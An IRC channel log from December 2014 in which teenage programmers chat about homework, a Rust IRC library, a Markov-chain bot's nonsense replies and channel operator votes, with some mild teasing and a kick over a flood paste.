[2014-12-08T23:58:53-0500] <awebot> awe: (and things they tried to switch to handle error saying to mention of the difference between OSs?.
[2014-12-08T23:59:48-0500] <+LittleBobbyTables> @markov linux
[2014-12-08T23:59:56-0500] <awebot> LittleBobbyTables: linux because I live for native:;start?.
[2014-12-09T00:01:01-0500] <@awe> I too live for native::start.
[2014-12-09T00:01:27-0500] <failedxyz> @markov
[2014-12-09T00:01:34-0500] <awebot> failedxyz: i can't seem to actually.
[2014-12-09T00:01:36-0500] <failedxyz> @markov
[2014-12-09T00:01:43-0500] <awebot> failedxyz: It was the block [E0133].
[2014-12-09T00:01:50-0500] <failedxyz> wat
[2014-12-09T00:01:53-0500] <failedxyz> @help
[2014-12-09T00:04:34-0500] <+LittleBobbyTables> awe, did you read the PM?
[2014-12-09T00:04:41-0500] <@awe> LittleBobbyTables: n. I'm working.
[2014-12-09T00:04:51-0500] <+LittleBobbyTables> aight.
[2014-12-09T00:14:23-0500] <+alokpathy> Imma go to sleep
[2014-12-09T00:14:24-0500] <+alokpathy> G'night gusy
[2014-12-09T00:14:27-0500] <+alokpathy> guys*
[2014-12-09T00:17:21-0500] <bob_twinkles> 'night alokpathy 
[2014-12-09T00:17:26-0500] <bob_twinkles> oh, he's probably gone
[2014-12-09T00:17:28-0500] <bob_twinkles> now time work
[2014-12-09T00:17:38-0500] <+Tamini> lol
[2014-12-09T00:17:40-0500] <+Tamini> you didnt start yet?
[2014-12-09T00:17:43-0500] <+Tamini> what do you need to do?
[2014-12-09T00:17:49-0500] <bob_twinkles> *how time
[2014-12-09T00:17:51-0500] <bob_twinkles> not now
[2014-12-09T00:18:02-0500] <bob_twinkles> I'm done with homework for today
[2014-12-09T00:18:12-0500] <+Tamini> ah, okay
[2014-12-09T00:19:09-0500] <+ubuntor> @markov
[2014-12-09T00:19:16-0500] <awebot> ubuntor: … } catch Exception catching back to give up..
[2014-12-09T00:19:26-0500] <+Tamini> @markov homework
[2014-12-09T00:19:33-0500] <awebot> Tamini: homework.
[2014-12-09T00:20:07-0500] <@awe> Awesome.
[2014-12-09T00:20:10-0500] <+LittleBobbyTables> I need to finish writing my Psych final.
[2014-12-09T00:20:12-0500] <@awe> I finished my work stuff.
[2014-12-09T00:20:14-0500] <@awe> Also, I'm tired.
[2014-12-09T00:20:19-0500] <@awe> Which is good.
[2014-12-09T00:20:23-0500] <@awe> Because I have an exam tomorrow.
[2014-12-09T00:20:28-0500] <@awe> Which means hopefully I won't be up until 4 am.
[2014-12-09T00:20:35-0500] <+Tamini> heh
[2014-12-09T00:20:38-0500] <+Tamini> go to bed awe.
[2014-12-09T00:20:39-0500] <+Tamini> right now.
[2014-12-09T00:20:41-0500] <@awe> NAh.
[2014-12-09T00:20:46-0500] <@awe> We're doing a publish.
[2014-12-09T00:21:10-0500] <+Tamini> :P
[2014-12-09T00:21:14-0500] <+Tamini> not too late, though
[2014-12-09T00:23:00-0500] <+LittleBobbyTables> http://i.4cdn.org/b/1418101257110.jpg
[2014-12-09T00:23:35-0500] <bob_twinkles> I gotta say that's a new one
[2014-12-09T00:24:23-0500] <bob_twinkles> on a scale from "javascript" to "hand-tuned assembly"
[2014-12-09T00:24:26-0500] <bob_twinkles> how slow is http://bobtwinkles.github.io/vf_defformation/
[2014-12-09T00:24:45-0500] <+ubuntor> ooh
[2014-12-09T00:24:52-0500] <+Tamini> LittleBobbyTables: wut
[2014-12-09T00:25:07-0500] <+Tamini> omg wait
[2014-12-09T00:25:08-0500] <@awe> So, uhh, February 6th-8th there's a hackathon at MIT.
[2014-12-09T00:25:08-0500] <+Tamini> is this the thing
[2014-12-09T00:25:17-0500] <bob_twinkles> this is indeed the thing
[2014-12-09T00:25:19-0500] <+Tamini> that osborne showed us
[2014-12-09T00:25:24-0500] <+Tamini> with the thing
[2014-12-09T00:25:28-0500] <@awe> Anyone want to go to MIT and do it with me?
[2014-12-09T00:25:30-0500] <bob_twinkles> I don't have any sort of remeshing in place so the approximation sucks really a lot
[2014-12-09T00:25:31-0500] <+Tamini> except like 20x slower
[2014-12-09T00:25:32-0500] <+Tamini> :P
[2014-12-09T00:25:37-0500] <bob_twinkles> damnit
[2014-12-09T00:25:38-0500] <+Tamini> its actually not too bad.
[2014-12-09T00:25:43-0500] <bob_twinkles> that's Javascript vs. Java for you
[2014-12-09T00:26:06-0500] <+ubuntor> oh, the speed isn't intentionally limited?
[2014-12-09T00:26:37-0500] <bob_twinkles> it should be smooth at the framerate of your browser
[2014-12-09T00:26:42-0500] <+LittleBobbyTables> awe: pay for my trip pls
[2014-12-09T00:26:53-0500] <+ubuntor> it's pretty smooth
[2014-12-09T00:27:42-0500] <@awe> LittleBobbyTables: can't
[2014-12-09T00:27:49-0500] <@awe> LittleBobbyTables: just use gubernmint money
[2014-12-09T00:27:56-0500] <+LittleBobbyTables> wut gubernmint
[2014-12-09T00:29:07-0500] <@awe> the one that writes your checks
[2014-12-09T00:29:11-0500] <@awe> I think that's the Russian one.
[2014-12-09T00:29:53-0500] <+LittleBobbyTables> Russians pay me in bitcoin
[2014-12-09T00:31:10-0500] <+LittleBobbyTables> Or they just give me new bots
[2014-12-09T00:31:13-0500] <+LittleBobbyTables> either one.
[2014-12-09T00:33:48-0500] <@awe> Lol.
[2014-12-09T00:33:55-0500] <@awe> I knew you were a spy.
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[2014-12-09T00:47:08-0500] <+LittleBobbyTables> so
[2014-12-09T00:47:13-0500] <+LittleBobbyTables> who wants to read my psych final questions
[2014-12-09T00:47:15-0500] <+LittleBobbyTables> and judge them
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[2014-12-09T00:48:23-0500] <+hardmath123> Ooh, me
[2014-12-09T00:48:40-0500] <+hardmath123> because I just finished an essay and am in a blissfully cynical mood
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[2014-12-09T00:59:23-0500] <+hardmath123[away]> bedtime, night night
[2014-12-09T01:01:01-0500] <+Tamini> night friend
[2014-12-09T01:01:49-0500] <@awe> Good night, friends.
[2014-12-09T01:02:06-0500] <+hardmath123[away]> night / { Tamini awe LittleBobbyTables awebot }
[2014-12-09T01:02:22-0500] <+LittleBobbyTables> night all you east coasters
[2014-12-09T01:02:30-0500] <+hardmath123[away]> for the record
[2014-12-09T01:02:33-0500] <+hardmath123[away]> i'm in california
[2014-12-09T01:02:36-0500] <+hardmath123[away]> and i'm also asleep
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[2014-12-09T01:03:22-0500] <@awe> I'm only sleeping because final at 1.
[2014-12-09T01:07:21-0500] <+ubuntor> night everyone
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[2014-12-09T03:46:13-0500] <zrl> yo
[2014-12-09T03:46:32-0500] <zrl> i heard this is where the cool kids hang out
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[2014-12-09T06:34:31-0500] <+The_Master> @markov
[2014-12-09T06:34:38-0500] <awebot> The_Master: and I can say macros are there some point.
[2014-12-09T06:34:46-0500] <+The_Master> @markov
[2014-12-09T06:34:52-0500] <awebot> The_Master: OK, good reason..
[2014-12-09T06:34:55-0500] <+The_Master> @markov
[2014-12-09T06:35:02-0500] <awebot> The_Master: may now want pipe the doc/test in my thing I am aware of the language and #[cfg(not(stage0))] code I am assuming its parent?.
[2014-12-09T06:35:04-0500] <+The_Master> @markov
[2014-12-09T06:35:11-0500] <awebot> The_Master: think that question with make_unique.
[2014-12-09T06:35:23-0500] <+The_Master> @markov
[2014-12-09T06:35:30-0500] <awebot> The_Master: yes.
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[2014-12-09T07:33:54-0500] <+The_Master> @markov
[2014-12-09T07:34:00-0500] <awebot> The_Master: eddyb_: https://github.com/simias/gb-rs/blob/master/src/io/buttons.rs.
[2014-12-09T07:35:05-0500] <+The_Master> @markov
[2014-12-09T07:35:12-0500] <awebot> The_Master: grayfox: You could stash binaries tho i hope that.
[2014-12-09T07:47:58-0500] <+The_Master> @markov
[2014-12-09T07:48:04-0500] <awebot> The_Master: piotr, not happening.
[2014-12-09T07:48:16-0500] <+The_Master> @markov middleschool
[2014-12-09T07:48:22-0500] <awebot> The_Master: That seed is unknown.
[2014-12-09T07:48:28-0500] <+The_Master> @markov middle
[2014-12-09T07:48:35-0500] <awebot> The_Master: middle of elitism and over it didn't say that might be copy.
[2014-12-09T07:48:41-0500] <+The_Master> @markov seed
[2014-12-09T07:48:47-0500] <awebot> The_Master: seed.
[2014-12-09T07:48:51-0500] <+The_Master> @markov middleschool
[2014-12-09T07:48:58-0500] <awebot> The_Master: That seed is unknown.
[2014-12-09T07:49:28-0500] <+The_Master> @markov middleschool
[2014-12-09T07:49:34-0500] <awebot> The_Master: middleschool iz badz!.
[2014-12-09T07:49:58-0500] <+The_Master> awebot: I agree.
[2014-12-09T09:08:33-0500] <+The_Master> @markov
[2014-12-09T09:08:40-0500] <awebot> The_Master: I have significantly better one person.
[2014-12-09T09:08:42-0500] <+The_Master> @markov
[2014-12-09T09:08:48-0500] <awebot> The_Master: .0 Kor.
[2014-12-09T09:08:52-0500] <+The_Master> @markov
[2014-12-09T09:08:58-0500] <awebot> The_Master: That's talking about .next_back(), as a couple of logic.
[2014-12-09T09:09:07-0500] <+The_Master> @markov
[2014-12-09T09:09:14-0500] <awebot> The_Master: ChrisMorgan: you have no need to you).
[2014-12-09T09:09:16-0500] <+The_Master> @markov
[2014-12-09T09:09:23-0500] <awebot> The_Master: You'll get a little hat.
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[2014-12-09T10:42:13-0500] <benwaffle> someone
[2014-12-09T10:42:14-0500] <benwaffle> alokpathy: 
[2014-12-09T10:42:18-0500] <benwaffle> JacobEdelman: 
[2014-12-09T10:45:39-0500] <benwaffle> graph on scoreboard is breaking
[2014-12-09T11:01:43-0500] <+alokpathy> For easyctf?
[2014-12-09T11:06:59-0500] <+alokpathy> Oh, it's slightly off, yeah
[2014-12-09T11:18:22-0500] <nezorg> wow
[2014-12-09T11:18:25-0500] <nezorg> I just read the logs from yesterday
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[2014-12-09T11:51:26-0500] <The_Master> hello
[2014-12-09T11:52:25-0500] <+alokpathy> 'Hi
[2014-12-09T11:53:10-0500] <The_Master> @markov
[2014-12-09T11:53:16-0500] <awebot> The_Master: https://hangoutsapi.talkgadget.google.com/hangouts/_/gtcrhrkgzb33uyke7dltzxkwcaa.
[2014-12-09T11:53:47-0500] <The_Master> @markov
[2014-12-09T11:53:54-0500] <awebot> The_Master: I need for servo?.
[2014-12-09T11:55:58-0500] <The_Master> @markov
[2014-12-09T11:56:05-0500] <awebot> The_Master: Is there was already in that seems like co.
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[2014-12-09T12:21:45-0500] <@awe> zrl: You heard right.
[2014-12-09T12:25:13-0500] <zrl> coo
[2014-12-09T12:30:27-0500] <@awe> So, you're yet another Californian, I see.
[2014-12-09T12:48:21-0500] <+alokpathy> All we need is somebody from mountain time zone and we'll have >=1 person in each time zone here
[2014-12-09T12:48:22-0500] <The_Master> @markov california
[2014-12-09T12:48:28-0500] <awebot> The_Master: california.
[2014-12-09T12:48:38-0500] <The_Master> @markov californiaian
[2014-12-09T12:48:45-0500] <awebot> The_Master: That seed is unknown.
[2014-12-09T12:48:55-0500] <The_Master> @markov californian
[2014-12-09T12:49:01-0500] <awebot> The_Master: That seed is unknown.
[2014-12-09T12:49:17-0500] <The_Master> @markov Californian
[2014-12-09T12:49:23-0500] <awebot> The_Master: That seed is unknown.
[2014-12-09T12:52:35-0500] <The_Master> @markov
[2014-12-09T12:52:41-0500] <awebot> The_Master: ahhhh.
[2014-12-09T12:52:53-0500] <The_Master> @markov
[2014-12-09T12:52:59-0500] <awebot> The_Master: Apple installs the email back out, thanks.
[2014-12-09T12:54:17-0500] <The_Master> @markov
[2014-12-09T12:54:24-0500] <awebot> The_Master: spoke: That powerscooter must have a hyphen is available..
[2014-12-09T12:54:43-0500] <The_Master> @choose work or awebot
[2014-12-09T12:54:43-0500] <awebot> The_Master: awebot
[2014-12-09T12:54:49-0500] <The_Master> @choose work or irc
[2014-12-09T12:54:49-0500] <awebot> The_Master: irc
[2014-12-09T12:55:16-0500] <The_Master> @choose school or internet
[2014-12-09T12:55:16-0500] <awebot> The_Master: school
[2014-12-09T13:31:49-0500] <zrl> awe: from sf, but using irccloud because mobile apps
[2014-12-09T13:31:58-0500] <zrl> so bouncer may not reflect location
[2014-12-09T14:28:59-0500] <+alokpathy> So sup 
[2014-12-09T14:29:04-0500] <+alokpathy> if anybody's here XD
[2014-12-09T14:37:52-0500] <@awe> zrl: IRCCloud is in the UK.
[2014-12-09T14:37:59-0500] <@awe> zrl: I knew you were from California because I stalked you.
[2014-12-09T14:38:11-0500] <zrl> 👍
[2014-12-09T14:38:32-0500] <@awe> In other words, you're friends with Jay. So, finding you was just typing in your name on Facebook.
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[2014-12-09T16:07:13-0500] <The_Master> PClassic Write ups are out
[2014-12-09T16:09:58-0500] <@awe> Fancy.
[2014-12-09T16:19:58-0500] <@awe> Guys, my bot now supports sending server passwords.
[2014-12-09T16:20:35-0500] <+alokpathy> Woo
[2014-12-09T16:20:48-0500] <@awe> In other words, it can connect to ZNC.
[2014-12-09T16:20:56-0500] <@awe> In other, other words, I can run a bot through me.
[2014-12-09T16:23:15-0500] <@awe> Watch.
[2014-12-09T16:23:45-0500] <@awe> TWEET TWEET
[2014-12-09T16:23:54-0500] <@awe> :D
[2014-12-09T16:23:55-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:02-0500] <@awe> alokpathy: Look at the magic!
[2014-12-09T16:24:05-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:15-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:25-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:35-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:41-0500] <The_Master> @markov
[2014-12-09T16:24:45-0500] <@awe> TWEET TWEET
[2014-12-09T16:24:49-0500] <@awe> The_Master: It's not that bot.
[2014-12-09T16:24:55-0500] <@awe> The_Master: It just says TWEET TWEET every ten seconds.
[2014-12-09T16:24:56-0500] <@awe> TWEET TWEET
[2014-12-09T16:25:15-0500] <+alokpathy> Magical magic :D
[2014-12-09T16:26:22-0500] <The_Master> awe:why is awebot disconnected?
[2014-12-09T16:26:32-0500] <@awe> @markov
[2014-12-09T16:26:40-0500] <@awe> awe: You distribute the src/ and then it's interactive?.
[2014-12-09T16:26:44-0500] <@awe> The_Master: :D
[2014-12-09T16:26:48-0500] <The_Master> @markov
[2014-12-09T16:26:55-0500] <@awe> The_Master: Gankro, with decoding.
[2014-12-09T16:27:47-0500] <@awe> I am a Markov chain.
[2014-12-09T16:27:49-0500] <@awe> !!!
[2014-12-09T16:27:50-0500] <@awe> @markov
[2014-12-09T16:27:57-0500] <@awe> awe: arielb1: you put 'pub' before.
[2014-12-09T16:27:59-0500] <The_Master> @markov Java_is
[2014-12-09T16:28:06-0500] <@awe> The_Master: Java_is horrible in src/.
[2014-12-09T16:29:54-0500] <The_Master> @markov awe
[2014-12-09T16:30:01-0500] <@awe> The_Master: awe.
[2014-12-09T16:30:13-0500] <The_Master> @markov :D
[2014-12-09T16:30:21-0500] <@awe> The_Master: :D.
[2014-12-09T16:30:26-0500] <@awe> This is quite possibly the weirdest thing I've ever seen.
[2014-12-09T16:31:39-0500] <The_Master> The_Master_IS GOD
[2014-12-09T16:31:44-0500] <The_Master> @markov The_Master_IS
[2014-12-09T16:31:51-0500] <@awe> The_Master: The_Master_IS GOD.
[2014-12-09T16:32:04-0500] <@awe> THE_MASTER_IS GAY
[2014-12-09T16:32:15-0500] <@awe> The_Master_IS GAY
[2014-12-09T16:32:19-0500] <@awe> @markov The_Master_IS
[2014-12-09T16:32:26-0500] <@awe> awe: The_Master_IS GAY.
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[2014-12-09T16:33:08-0500] <The_Master> @markov
[2014-12-09T16:33:15-0500] <awebot> The_Master: it's a return a prereq of HTTP headers..
[2014-12-09T16:33:58-0500] <The_Master> awe: I now have a copy of that conversation
[2014-12-09T16:34:07-0500] <@awe> Of what conversation?
[2014-12-09T16:34:14-0500] <The_Master> 4:26 PM <•awe> @markov
[2014-12-09T16:34:14-0500] <The_Master> 4:26 PM <•awe> awe: You distribute the src/ and then it's interactive?.
[2014-12-09T16:34:14-0500] <The_Master> 4:26 PM <•awe> The_Master: :D
[2014-12-09T16:34:14-0500] <The_Master> 4:26 PM <The_Master> @markov
[2014-12-09T16:34:14-0500] <The_Master> 4:26 PM <•awe> The_Master: Gankro, with decoding.
[2014-12-09T16:34:14-0500] <The_Master> 4:27 PM <•awe> I am a Markov chain.
[2014-12-09T16:34:14-0500] <The_Master> 4:27 PM <•awe> !!!
[2014-12-09T16:34:14-0500] <The_Master> 4:27 PM <•awe> @markov
[2014-12-09T16:34:14-0500] <The_Master> 4:27 PM <•awe> awe: arielb1: you put 'pub' before.
[2014-12-09T16:34:14-0500] <The_Master> 4:27 PM <The_Master> @markov Java_is
[2014-12-09T16:34:15-0500] <The_Master> 4:28 PM <•awe> The_Master: Java_is horrible in src/.
[2014-12-09T16:34:16-0500] <The_Master> 4:29 PM <The_Master> @markov awe
[2014-12-09T16:34:17-0500] <The_Master> 4:30 PM <•awe> The_Master: awe.
[2014-12-09T16:34:18-0500] <The_Master> 4:30 PM <The_Master> @markov :D
[2014-12-09T16:34:19-0500] <The_Master> 4:30 PM <•awe> The_Master: :D.
[2014-12-09T16:34:20-0500] <The_Master> 4:30 PM <•awe> This is quite possibly the weirdest thing I've ever seen.
[2014-12-09T16:34:21-0500] <The_Master> 4:31 PM <The_Master> The_Master_IS GOD
[2014-12-09T16:34:22-0500] <The_Master> 4:31 PM <The_Master> @markov The_Master_IS
[2014-12-09T16:34:23-0500] <The_Master> 4:31 PM <•awe> The_Master: The_Master_IS GOD.
[2014-12-09T16:34:24-0500] <The_Master> 4:32 PM <•awe> THE_MASTER_IS GAY
[2014-12-09T16:34:25-0500] <The_Master> 4:32 PM <•awe> The_Master_IS GAY
[2014-12-09T16:34:26-0500] <The_Master> 4:32 PM <•awe> @markov The_Master_IS
[2014-12-09T16:34:26-0500] <@awe> Why did you paste that?
[2014-12-09T16:34:27-0500] <The_Master> 4:32 PM <•awe> awe: The_Master_IS GAY.
[2014-12-09T16:34:33-0500] <@awe> You could've just said the one that just happened.
[2014-12-09T16:35:00-0500] awe kicked The_Master from the channel (Goodbye)
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[2014-12-09T16:35:41-0500] <@awe> The_Master: Stop flooding.
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[2014-12-09T16:35:50-0500] Pidgey sets mode +v The_Master
[2014-12-09T16:36:21-0500] <+The_Master> sorry, thought I only pasted a small part of it
[2014-12-09T16:36:24-0500] <+The_Master> .active
[2014-12-09T16:36:24-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-09T16:36:24-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-09T16:36:24-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-09T16:37:08-0500] <+The_Master> but now I can take this out of context and use it as a reason to deop you!
[2014-12-09T16:37:10-0500] <+The_Master> DOWN WITH OPS!
[2014-12-09T16:37:36-0500] <@awe> Nothing I said would be bad out of context.
[2014-12-09T16:37:48-0500] <@awe> Most of it is nonsese.
[2014-12-09T16:37:50-0500] <@awe> nonsense*
[2014-12-09T16:38:01-0500] <+The_Master> ← You were kicked by awe (awe@irc.pdgn.co): Goodbye
[2014-12-09T16:38:08-0500] <+The_Master> a kick without a valid reason
[2014-12-09T16:38:14-0500] <@awe> That's uhh... not true.
[2014-12-09T16:38:21-0500] <@awe> You can't take kicks out of context.
[2014-12-09T16:38:24-0500] <@awe> That's physically impossible.
[2014-12-09T16:38:26-0500] <+The_Master> goodbye isn't a good reason
[2014-12-09T16:38:33-0500] <+The_Master> 4:34 PM <The_Master> 4:32 PM <•awe> THE_MASTER_IS GAY
[2014-12-09T16:38:34-0500] <@awe> It's the default for my client.
[2014-12-09T16:38:48-0500] <@awe> I can call you anything I want to call you.
[2014-12-09T16:38:55-0500] <+The_Master> harassing a youngling.
[2014-12-09T16:39:23-0500] <+The_Master> awe:yes, but I can still use it in a way that puts you in a bad light
[2014-12-09T16:39:32-0500] <@awe> Eh.
[2014-12-09T16:39:33-0500] <+The_Master> and institutes ANARCHY!
[2014-12-09T16:39:36-0500] <+The_Master> MUHAHAHA!
[2014-12-09T16:39:39-0500] <@awe> I can also provide the full args.
[2014-12-09T16:39:45-0500] <+The_Master> ok I am done now
[2014-12-09T16:39:49-0500] <@awe> I mean, if you deop me, it's no more anarchy than it was before.
[2014-12-09T16:40:17-0500] <+The_Master> awe:Their must be no human Operators
[2014-12-09T16:40:30-0500] <+The_Master> .propose op awebot
[2014-12-09T16:40:30-0500] <&Pidgey> op is not a valid option for a proposal.
[2014-12-09T16:40:34-0500] <+The_Master> .propose opper awebot
[2014-12-09T16:40:34-0500] <&Pidgey> opper is not a valid option for a proposal.
[2014-12-09T16:40:37-0500] <+The_Master> .propose oper awebot
[2014-12-09T16:40:37-0500] <&Pidgey> Proposal 7 is live.
[2014-12-09T16:40:39-0500] <@awe> lol.
[2014-12-09T16:40:44-0500] <+The_Master> .vote 7 yea
[2014-12-09T16:40:44-0500] <&Pidgey> Vote issued.
[2014-12-09T16:40:44-0500] <@awe> awebot can't be an op.
[2014-12-09T16:40:47-0500] <@awe> He isn't registered.
[2014-12-09T16:40:58-0500] <+The_Master> awe: awwwe
[2014-12-09T16:41:16-0500] <+The_Master> *awwww
[2014-12-09T16:41:43-0500] <+The_Master> now for homework
[2014-12-09T16:53:57-0500] <zrl> awe: jay who?
[2014-12-09T16:53:58-0500] <zrl> mo?
[2014-12-09T16:54:01-0500] <zrl> i know a couple jays
[2014-12-09T16:54:02-0500] <@awe> Yah.
[2014-12-09T16:54:04-0500] <@awe> Jay Mo.
[2014-12-09T16:54:13-0500] <zrl> 👍
[2014-12-09T16:58:03-0500] <JacobEdelman> wait
[2014-12-09T16:58:07-0500] <JacobEdelman> who is zri?
[2014-12-09T16:58:10-0500] <JacobEdelman> *zrl
[2014-12-09T16:58:23-0500] <JacobEdelman> oh, you
[2014-12-09T16:58:27-0500] <JacobEdelman> who is is nice
[2014-12-09T17:00:01-0500] <+alokpathy> zrl: Oh you know Jay?
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[2014-12-09T17:07:01-0500] <@awe> Did I register awebot or did somebody else?
[2014-12-09T17:07:03-0500] <@awe> I bet it was JacobEdelman.
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[2014-12-09T17:08:52-0500] awe sets mode +v awebot
[2014-12-09T17:08:52-0500] Pidgey sets mode -v awebot
[2014-12-09T17:08:57-0500] <@awe> Nope. That didn't work.
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[2014-12-09T17:13:31-0500] awe sets mode +v awebot
[2014-12-09T17:13:32-0500] <@awe> There we go.
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[2014-12-09T17:13:47-0500] <@awe> part #pdgn
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[2014-12-09T17:13:51-0500] Pidgey sets mode +v awebot
[2014-12-09T17:13:58-0500] <@awe> Woo.
[2014-12-09T17:14:08-0500] awe sets mode -v awebot
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[2014-12-09T17:15:30-0500] awe sets mode +v awebot
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[2014-12-09T17:15:41-0500] Pidgey sets mode +v awebot
[2014-12-09T17:15:44-0500] <@awe> Even better.
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[2014-12-09T17:17:50-0500] <Tamini_> whoa, who's zrl?
[2014-12-09T17:18:30-0500] <zrl> yo
[2014-12-09T17:18:32-0500] <zrl> alokpathy: 
[2014-12-09T17:18:33-0500] <zrl> yeah
[2014-12-09T17:18:41-0500] <zrl> don't know him well, but know of him
[2014-12-09T17:19:02-0500] <@awe> zrl: how'd you here about this place?
[2014-12-09T17:19:08-0500] <zrl> #hshackers on freenode
[2014-12-09T17:19:17-0500] <@awe> Oh.
[2014-12-09T17:19:17-0500] <+alokpathy> They talked about us?
[2014-12-09T17:19:25-0500] <@awe> I don't even know who would be talking about us there.
[2014-12-09T17:19:42-0500] <@awe> But you're definitely welcome to hang out here.
[2014-12-09T17:19:43-0500] <+alokpathy> Probably ujm or failedxyz
[2014-12-09T17:19:57-0500] <+alokpathy> maybe JacobEdelman 
[2014-12-09T17:19:58-0500] <Tamini_> probably ujm tbh
[2014-12-09T17:20:00-0500] <+jwoglom> hardmath123: pls with the long nick 
[2014-12-09T17:20:33-0500] <@awe> I operate this server, and I'm also obsessed with Rust and strong type systems.
[2014-12-09T17:20:47-0500] <Tamini_> read: don't tell him you like python
[2014-12-09T17:20:52-0500] <Tamini_> unless you have lots of time to argue
[2014-12-09T17:20:56-0500] <@awe> You can tell me.
[2014-12-09T17:21:43-0500] <Tamini_> well it usually leads to argument
[2014-12-09T17:21:45-0500] <@awe> Tamini_: If somebody said they didn't want to argue about it, I wouldn't argue about it.
[2014-12-09T17:21:49-0500] <Tamini_> or maybe thats just jacob :P
[2014-12-09T17:21:51-0500] <Tamini_> heh, alright
[2014-12-09T17:21:56-0500] <@awe> Well, I know Jacob wants to argue about it.
[2014-12-09T17:25:35-0500] <Tamini_> heh, fair enough
[2014-12-09T17:27:47-0500] <+alokpathy> lol last night's Colbert
[2014-12-09T17:28:10-0500] <@awe> I'm going to generate a gource for my irc crate!
[2014-12-09T17:30:32-0500] <@awe> >literally all my youtube account
[2014-12-09T17:30:33-0500] <Tamini_> alokpathy: make friends with jwoglom
[2014-12-09T17:30:41-0500] <Tamini_> he's been talking to me about that :P
[2014-12-09T17:30:41-0500] <+alokpathy> jwoglom: Hello jwoglom 
[2014-12-09T17:30:51-0500] <+alokpathy> omg I'm watching it right now no spoilers
[2014-12-09T17:31:29-0500] <@awe> http://youtu.be/RkG4om5KypU
[2014-12-09T17:31:42-0500] <+jwoglom> alokpathy: hello
[2014-12-09T17:31:47-0500] <+jwoglom> and hi Tamini_ too
[2014-12-09T17:31:54-0500] <@awe> Tamini_: remember my story about programming for FRC?
[2014-12-09T17:31:54-0500] <+jwoglom> colbert last night was pretty cool
[2014-12-09T17:32:09-0500] <Tamini_> awe: mhm! why?
[2014-12-09T17:32:12-0500] <@awe> Tamini_: this video will provide you with a visualization of the contributions the last year.
[2014-12-09T17:32:30-0500] <@awe> Tamini_: the one where I trained the little nublet and let the other dude who took my spot take the reigns and then fixed it at the end.
[2014-12-09T17:32:59-0500] <@awe> Tamini_: I used Facebook photos for people and everything!
[2014-12-09T17:33:10-0500] <Tamini_> ooh, perdy
[2014-12-09T17:33:16-0500] <Tamini_> also lol so much was you
[2014-12-09T17:33:26-0500] <Tamini_> even with you letting others do stuff
[2014-12-09T17:34:00-0500] <@awe> I know.
[2014-12-09T17:34:18-0500] <@awe> I love gource.
[2014-12-09T17:35:01-0500] <Tamini_> :p
[2014-12-09T17:38:35-0500] <Hyper> awe: I like python, list comprehensions are the shit :)
[2014-12-09T17:38:47-0500] <@awe> >implying Python is the only language with list comprehensions.
[2014-12-09T17:38:54-0500] <@awe> But yes, list comprehensions are great.
[2014-12-09T17:51:47-0500] hardmath123[legit-gone] is now known as hardmath123
[2014-12-09T17:53:29-0500] <@awe> Tamini_: https://www.dropbox.com/s/wapz458dwmp9who/archway.png?dl=0
[2014-12-09T17:56:48-0500] <+hardmath123> so i found this in my spam http://imgur.com/oOLWOWE
[2014-12-09T17:56:59-0500] <JacobEdelman> I'm here
[2014-12-09T17:57:11-0500] <+alokpathy> hardmath123: dang
[2014-12-09T17:57:16-0500] <JacobEdelman> I talked about us on hshackers
[2014-12-09T17:58:00-0500] <+hardmath123> all that redditting finally paying off, i guess
[2014-12-09T17:58:09-0500] <JacobEdelman> I agree, list comprehensions are nice, I think python also has dictionary comprehnsions too
[2014-12-09T17:58:48-0500] <+hardmath123> yeah, it'll iterate over the keys
[2014-12-09T18:01:00-0500] <@awe> I'm making a gource video for my IRC library now.
[2014-12-09T18:01:11-0500] <@awe> It's currently encoding.
[2014-12-09T18:24:29-0500] <+The_Master> @markov
[2014-12-09T18:25:05-0500] <+The_Master> awebot, come back!
[2014-12-09T18:26:21-0500] <+hardmath123> awebot: are you ok?
[2014-12-09T18:27:22-0500] <Hyper> JacobEdelman: it does, indeed
[2014-12-09T18:27:51-0500] <Hyper> have done stupid shit with both types of comprehensions, can confirm
[2014-12-09T18:32:25-0500] <@awe> awebot isn't here.
[2014-12-09T18:33:38-0500] <+Tamini> yo
[2014-12-09T18:33:43-0500] <+Tamini> alokpathy 
[2014-12-09T18:33:48-0500] <+Tamini> can i borrow you when you're here
[2014-12-09T18:34:29-0500] <+Tamini> i need you to find me math books
[2014-12-09T18:43:44-0500] <+ubuntor> http://seclists.org/fulldisclosure/2014/Dec/37
[2014-12-09T18:45:13-0500] <+hardmath123> xD
[2014-12-09T19:22:35-0500] <@awe> https://www.kickstarter.com/projects/torquing/zano-autonomous-intelligent-swarming-nano-drone?ref=category
[2014-12-09T19:22:36-0500] <@awe> Do want.
[2014-12-09T19:26:11-0500] <+Tamini> oh
[2014-12-09T19:26:12-0500] <+Tamini> awe:
[2014-12-09T19:26:17-0500] <+Tamini> were you the one that recommended me headphones
[2014-12-09T19:26:24-0500] <@awe> Yeah.
[2014-12-09T19:26:30-0500] <+Tamini> thank youuu
[2014-12-09T19:26:32-0500] <+Tamini> he loved them
[2014-12-09T19:26:33-0500] <+Tamini> he like
[2014-12-09T19:26:39-0500] <+Tamini> freaked out and told me how much he loved me
[2014-12-09T19:26:41-0500] <+Tamini> like 3 times
[2014-12-09T19:26:41-0500] <@awe> Sennheiser is excellent.
[2014-12-09T19:26:45-0500] <@awe> You're welcome.
[2014-12-09T19:26:47-0500] <+Tamini> <3
[2014-12-09T19:26:57-0500] <@awe> LittleBobbyTables: please be my sugar daddy and buy me a zano.
[2014-12-09T19:27:07-0500] <+Tamini> awe: can he be my sugar daddy instead
[2014-12-09T19:27:11-0500] <@awe> I NEED IT.
[2014-12-09T19:27:13-0500] <@awe> I NEED IT SO BADLY>
[2014-12-09T19:27:16-0500] <+Tamini> or do you wanna be my sugar daddy and buy me things
[2014-12-09T19:27:21-0500] <@awe> IT'S GOING TO HAVE AN OPEN SOURCE SDK
[2014-12-09T19:27:23-0500] <+Tamini> my birthday is coming up :O
[2014-12-09T19:27:26-0500] <+Tamini> and LOL
[2014-12-09T19:27:29-0500] <+Tamini> oh, you
